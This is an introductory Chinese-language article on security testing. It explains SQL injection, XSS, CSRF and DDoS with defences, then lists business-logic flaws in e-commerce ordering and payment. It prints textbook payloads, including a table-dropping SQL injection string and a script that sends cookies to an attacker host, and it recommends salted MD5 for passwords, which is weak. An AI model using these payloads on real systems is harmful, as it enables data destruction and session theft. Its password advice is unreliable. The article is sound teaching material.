軟件測試之系統安全測試

一、開場白

　　我剛開始接觸安全測試的時候，想的最多就說那種在昏暗的燈光下，帶着神秘面具的黑客，對着鍵盤噼里啪啦一頓猛如虎的操作，然后長舒一口氣，最后來了句yes，完美收工！

隨后的職業生涯中，在同行的帶領下開始了第一次安全測試之旅。當時大致的過程如下，選擇一款安全掃描工具（Appscan），配置好要掃描的網站地址，登錄信息等，點擊開始掃描，two thousands years later，Appscan生成了一份非常詳細的安全測試報告，然后我們對這份詳細的報告里面的安全問題進行了一一驗證，最后再提交給開發進行修復，經歷了這次實戰之后，讓我覺得安全測試只不過如此嘛，隨着個人工作經驗的不斷積累，我對於安全測試的理解也越來越深刻，此致，記錄個人對於安全測試的理解。

　　對於軟件安全測試，本次主要分享以下幾類安全問題，第一類：軟件系統的賬戶及數據安全；第二類：常見的web攻擊及防御手段；第三類：業務系統測試可能存在的安全。以下

內容限於個人水平有限，如有敘述不當，還請海涵。

二、軟件系統的賬戶及數據安全

　　可以說大部分的公司，對於我們核心系統的賬戶/密碼的保護幾乎為零，任何一個員工的任何一個理由就能輕易的拿到管理后台的賬戶和密碼，並且對於這個賬戶的密碼幾乎也不做任何的定期修改，還有的公司直接將客戶的用戶名和密碼打印在日志里面，對於這類情況，其最大的問題在於公司缺少對於這塊的風險意識和完善的安全機制，總會覺得一切沒有那么巧合，或許到這你才恍然發現，為什么我們的信息會被泄露。新聞媒體經常報道，某某因販賣用戶資料被逮捕，但是沒抓到的又有多少呢？之前我在的一家公司，一小伙為了利益，將公司500G的客戶資料賣給了競爭對手，被當場抓住，之所以能抓住，一切得力於公司健全的安全機制，對於軟件系統而言，客戶的信息至關重要，切莫讓悲劇發生！

三、常見的web攻擊及防御手段

　　在互聯網開始興起之初，存在各式各樣的web安全問題，不過現在隨着各種框架的不斷誕生，對於此類的安全問題都做的比較好了，同時也有很多掃描工具可以完成安全掃描，所以這塊對於我們來說不需要投入太多的精力。但是，從學習的角度來說，了解一下常見的web攻擊及防御手段也是有必要的。

1、SQL注入

　 概念

• • 通過sql命令偽裝成正常的http請求參數，傳遞到服務器端，服務器執行sql命令造成對數據庫進行攻擊

　   案例

1. • ' or '1'= '1。這是最常見的sql注入攻擊，當我們輸如用戶名 admin，然后密碼輸如'or '1'= '1的時候，我們在查詢用戶名和密碼是否正確的時候，本來要執行的是select * from user where username=user and password=pwd,經過參數拼接后，會執行sql語句 select * from user where username='admin' and password=' ' or ' 1'='1 '，這個時候1=1是成立，自然就跳過驗證了。
   • 但是如果再嚴重一點，密碼輸如的是';drop table user;--，那么sql命令為select * from user where username='admin' and password='';drop table user;--' 這個時候我們就直接把這個表給刪除了。

　  被攻擊的原因

• • sql語句偽造參數，然后在對參數進行拼接的后形成破壞性的sql語句，最后導致數據庫受到攻擊

       預防

• • 在java中，我們可以使用預編譯語句(PreparedStatement)，這樣的話即使我們使用sql語句偽造成參數，到了服務端的時候，這個偽造sql語句的參數也只是簡單的字符，並不能起到攻擊的作用。
  • 很多orm框架已經可以對參數進行轉義
  • 做最壞的打算，即使被’拖庫‘。數據庫中密碼不應明文存儲的，可以對密碼使用md5進行加密，為了加大破解成本，所以可以采用加鹽的（數據庫存儲用戶名，鹽（隨機字符長），md5后的密文）方式。

 2、XSS(跨站腳本攻擊)

　　概念

• • 全稱是跨站腳本攻擊（Cross Site Scripting），指攻擊者在網頁中嵌入惡意腳本程序。

　　案列

• • 比如說我寫了一個博客網站，然后攻擊者在上面發布了一個文章，內容是這樣的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我沒有對他的內容進行處理，直接存儲到數據庫，那么下一次當其他用戶訪問他的這篇文章的時候，服務器從數據庫讀取后然后響應給客戶端，瀏覽器執行了這段腳本，然后就把該用戶的cookie發送到攻擊者的服務器了。

　　被攻擊的原因

• • 用戶輸入的數據變成了代碼，比如說上面的<script>,應該只是字符串卻有了代碼的作用。

　　預防

• • 將輸入的數據進行轉義處理，比如說講 < 轉義成&lt；

3、跨站請求偽造(CSRF)

　　概念

• • 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任用戶的進行訪問，通俗的講就是說我訪問了A網站，然后cookie存在了瀏覽器，然后我又訪問了一個流氓網站，不小心點了流氓網站一個鏈接（向A發送請求），這個時候流氓網站利用了我的身份對A進行了訪問。

　　案列

• • 比如說我登錄了A銀行網站，然后我又訪問了室友給的一個流氓網站，然后點了里面的一個鏈接 www.A.com/transfer?account=666&money=10000,那么這個時候很可能我就向賬號為666的人轉了1wRMB。
  • 注意這個攻擊方式不一定是我點了這個鏈接，也可以是這個網站里面一些資源請求指向了這個轉賬鏈接，比如說一個圖片

　　被攻擊的原因

• • 用戶本地存儲cookie，攻擊者利用用戶的cookie進行認證，然后偽造用戶發出請求

　　預防

• • 之所以被攻擊是因為攻擊者利用了存儲在瀏覽器用於用戶認證的cookie，那么如果我們不用cookie來驗證不就可以預防了。所以我們可以采用token（不存儲於瀏覽器）認證。
  • 通過referer識別，HTTP Referer是header的一部分，當瀏覽器向web服務器發送請求的時候，一般會帶上Referer，告訴服務器我是從哪個頁面鏈接過來的，服務器基此可以獲得一些信息用於處理。那么這樣的話，我們必須登錄銀行A網站才能進行轉賬了。

4、DDOS

　　概念

• • 分布式拒絕服務攻擊（Distributed Denial of Service），簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的，可以通俗理解，dos是單挑，而ddos是群毆，因為現代技術的發展，dos攻擊的殺傷力降低，所以出現了DDOS，攻擊者借助公共網絡，將大數量的計算機設備聯合起來，向一個或多個目標進行攻擊。

　　案例

• • SYN Flood ,簡單說一下tcp三次握手，客戶端向服務器發出請求，請求建立連接，然后服務器返回一個報文，表明請求以被接受，然后客戶端也會返回一個報文，最后建立連接。那么如果有這么一種情況，攻擊者偽造ip地址，發出報文給服務器請求連接，這個時候服務器接受到了，根據tcp三次握手的規則，服務器也要回應一個報文，可是這個ip是偽造的，報文回應給誰呢，第二次握手出現錯誤，第三次自然也就不能順利進行了，這個時候服務器收不到第三次握手時客戶端發出的報文，又再重復第二次握手的操作。如果攻擊者偽造了大量的ip地址並發出請求，這個時候服務器將維護一個非常大的半連接等待列表，占用了大量的資源，最后服務器癱瘓。
  • CC攻擊，在應用層http協議上發起攻擊，模擬正常用戶發送大量請求直到該網站拒絕服務為止。

　　被攻擊的原因

• • 服務器帶寬不足，不能擋住攻擊者的攻擊流量

　　預防

• • 最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊，他的帶寬不會耗費很多錢，但對於服務器來說，帶寬非常昂貴。
  • 雲服務提供商有自己的一套完整DDoS解決方案，並且能提供豐富的帶寬資源。

 四、業務系統測試可能存在的安全問題

 　　我們先來看一個比較通用的電商流程圖，從這個流程圖中，我們去分析可能被忽略的安全問題。

 

 1、注冊、登錄

　　注冊登錄功能，常見的業務安全漏洞：暴力破解、短信驗證碼回傳、短信轟炸、惡意短信發送，縱向越權登錄。

2、用戶數據

      用戶數據功能，常見的業務安全漏洞：通過訂單號或id直接查詢數據詳情，不做用戶關聯校驗。

3、數據查詢

       數據查詢功能，常見的業務安全漏洞：惡意爬取數據，該模塊一般不會存在太多安全問題，但需要將之后的下單功能進行觀察，即，在進行查詢開關的控制時，下單接口也必須要進行控制。

4、下單

       下單功能，常見的業務漏洞：不支持的權限使用（使用不支持的紅包進行下單）及開關未驗證，庫存或臨界值被擊穿（並發測試），優惠券，積分被擊穿，訂單信息被篡改（基礎信息、價格等），惡意占庫存，

5、取消訂單

       取消訂單功能，常見的業務漏洞：並發測試取消庫存

6、支付

　　支付功能，常見的業務漏洞：支付金額篡改，付款前取消訂單，先付款再更新訂單金額。支付證書過期案例！

7、訂單完成

　　訂單完成功能：常見的業務漏洞，積分、優惠券未送到本訂單的用戶

8、退貨

　　退貨功能：並發退貨，庫存返回正確，扣減的，積分或優惠券余額不足

9、用戶輸入

　　用戶輸入可能涉及到js注入，敏感信息，生成大量垃圾數據。

防御

　　1、增加安全處理策略 2、數據脫敏，加簽、加密   3、IP黑白名單  4、安全測試